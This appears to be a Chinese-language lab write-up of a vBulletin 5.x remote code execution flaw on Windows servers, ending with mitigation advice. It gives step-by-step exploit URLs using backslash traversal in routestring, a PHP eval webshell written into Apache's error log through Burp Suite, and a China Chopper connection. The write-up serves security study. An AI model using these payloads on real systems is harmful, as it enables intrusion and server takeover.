您好,登錄后才能下訂單哦!
本篇文章為大家展示了vBulletin5.x版本通殺遠程代碼執行漏洞的實例分析,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
vBulletin中存在一個文件包含問題,可使惡意訪問者包含來自 vBulletin 服務器的文件并且執行任意 PHP 代碼。未經驗證的惡意訪問者可通過向index.php發出包含routestring=參數的GET 請求,從而觸發文件包含漏洞,最終導致遠程代碼執行漏洞
index.php頁面發送GET請求去使用routestring參數包含本地文件時,層層調用功能函數對routestring的值進行過濾,我們來看主要的處理代碼。
該代碼位于/includes/vb5/frontend/routing.php
文件
if (strlen($path) > 2 ) { $ext = strtolower(substr($path, -4)) ; if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg') OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js')) { header("HTTP/1.0 404 Not Found"); die(''); } }
這段代碼判斷routestring
獲取的值是否以.gif
, .png
, .jpg
, .css
or .js
結尾,如果是則頭部信息返回404
if (strpos($path, '/') === false) { $this->controller = 'relay'; $this->action = 'legacy'; $this->template = ''; $this->arguments = array($path); $this->queryParameters = array(); return; }
這段代碼中strpos()
函數返回/
字符在$path
中第一次出現的位置,若返回信息為false
才會繼續處理,也就是說路徑中不能出現/
。
對于Linux服務器,處理URL時,/表示目錄層的分隔、表示符,所以此處無法以多個../的方式包含網站中的其他文件。但是對于Windows服務器,/和\在表達路徑時,是等價的,而程序并沒有對\進行處理,所以導致本次針對Windows服務器的文件包含漏洞。
影響版本
版本號 vBulletin v5.x版本 漏洞發現者已聯系廠商,暫未得到回復
接下來的實操部分,我們將逐步深入漏洞的理解和利用,先利用頁面報錯,獲取服務器相關信息;再包含服務器內部文件,執行phpinfo()驗證代碼執行;最后包含寫入PHP一句話的網站日志文件,獲取網站管理權限。
步驟1 漏洞驗證
這一步,我們簡單利用報錯獲取服務器信息,然后利用漏洞去包含執行phpinfo()函數進行驗證
1.打開目標網址172.16.12.2/vb5/index.php,網站主頁如下:
2.訪問漏洞頁面,查看報錯信息
在瀏覽器中打開172.16.12.2/vb5/index.php?routestring=.\\,報錯信息如下:
可以看見頁面使用require_once()包含當前路徑(C:\phpstudy\WWW\vb5/core/.\\)時不被允許而報錯,報錯信息泄露了網站的絕對路徑,以及網站搭建軟件:phpstudy
phpstudy 搭建網站時,默認會在網站根目錄留下 l.php和phpinfo.php文件,通常網站管理員會刪除或者修改這兩個文件因為 \還有轉義的含義,而表示路徑時\\和\是等價的,所以我們使用\\防止被轉義(本實驗\也可完成)
3.訪問 phpinfo.txt文件
此處為了驗證包含漏洞,網站根目錄下存有phpinfo.txt文件,內容為<?php phpinfo();?>,我們嘗試直接訪問該文件,http://172.16.12.2/phpinfo.txt
網站直接將文本內容顯示出來了
4.包含 phpinfo.txt文件
我們接著嘗試包含該文件,打開構造的鏈接http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt
此處我們已知曉網站在服務器上的絕對路徑,所以使用多個..\\加上文件路徑,表示被包含文件的網站路徑,包含該文件后,服務器將文件當做php文件進行解析,執行了phpinfo()函數。
phpinfo():PHP內置函數,輸出PHP服務器的配置信息
步驟2 漏洞利用
一般情況下,PHP文件包含漏洞利用的方式都是先利用網站上傳點,上傳含有惡意代碼的文件,然后找到上傳后的文件路徑,構造URL,通過包含漏洞執行惡意代碼。但是,如果網站本身無可利用的上傳點,或者對上傳的文件做了限制,使得我們無法獲知文件的路徑,亦或者對輸入時獲取的參數做出過濾,這種方法就行不通了。
由上述可知,程序對包含的文件后綴做出了限制,在沒有其他利用的情況下,我們可以選擇包含網站本身存在文件的方式,也就是本次實驗的利用方式:包含網站日志文件
本次包含的是Apache的錯誤訪問日志(error.log),這個日志文件在phpstudy中的路徑為: \phpstudy\apache\logs\error.log。
1.將一句話寫入日志記錄
首先,我們構造一個會報錯的訪問鏈接,將利用代碼(PHP一句話)寫入錯誤日志記錄中。
http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>
這個鏈接直接訪問的話,一句話會被編碼成%3C?php%20@eval($_POST[c]);?%3E
,所以需要使用Burp suite
改一下包。
使用Everything搜索BurpLoader.jar,雙擊打開工具Burp suite。
配置瀏覽器的代理設置:
打開桌面的chrome瀏覽器,訪問chrome://settings或者點擊瀏覽器右側的自定義按鈕--》設置,進入設置界面
點擊下方的顯示高級設置,找到更改代理服務器設置按鈕并打開,在彈出的設置中選擇局域網設置
具體配置如下圖,修改后確定
配置完代理后,在瀏覽器中訪問上述構造的鏈接,Burpsuite接受到數據包會自動截獲,打開Burpsuite--》proxy--》Intercept,在下方文本框中,右擊并選擇Send to Repeater,隨后點擊Repeter功能按鈕,對所截獲的包進行修改。
我們將被編碼的鏈接改回編碼之前的狀態,修改后的內容如下:
點擊 Go按鈕發送,返回403報錯,服務器錯誤日志文件成功將此次記錄到error.log中
我們已經成功的將利用代碼寫入日志中了
注意利用代碼的正確性,如果寫入錯誤的代碼可能會導致后續包含時,代碼不能成功執行
現在,將Burpsuite關閉,并按照上述設置瀏覽器代理的方法關閉代理
2.構造Webshell連接地址
們根據日志的路徑構造訪問路徑:
http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
客戶端連接一句話
接下來就使用中國菜刀連接我們的一句話,使用Everything搜索并打開chopper,右擊,選擇添加,在地址欄內填入我們構造好的鏈接,右側寫入密碼c,類型選擇 PHP(Eval),然后點擊添加。
雙擊鏈接,連接成功(此處如果連接不上請檢查寫入的代碼是否正確,代理是否關閉)
包含日志文件需要確定的服務器日志路徑,通常管理員會修改相關配置,而且寫入代碼時需要注意嚴格的格式和編碼,所以這種方法不作為優選利用方法,但是在沒有其他利用點的情況下,也是可以嘗試的
(1) 等待官方發布補丁,個人用戶建議采用可替代的相關產品
(2) 企業用戶可修改網站源代碼,增加\字符的過濾處理
(3) 網站管理人員可以修改服務器本身敏感信息文件位置,避免漏洞的進一步利用
上述內容就是vBulletin5.x版本通殺遠程代碼執行漏洞的實例分析,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。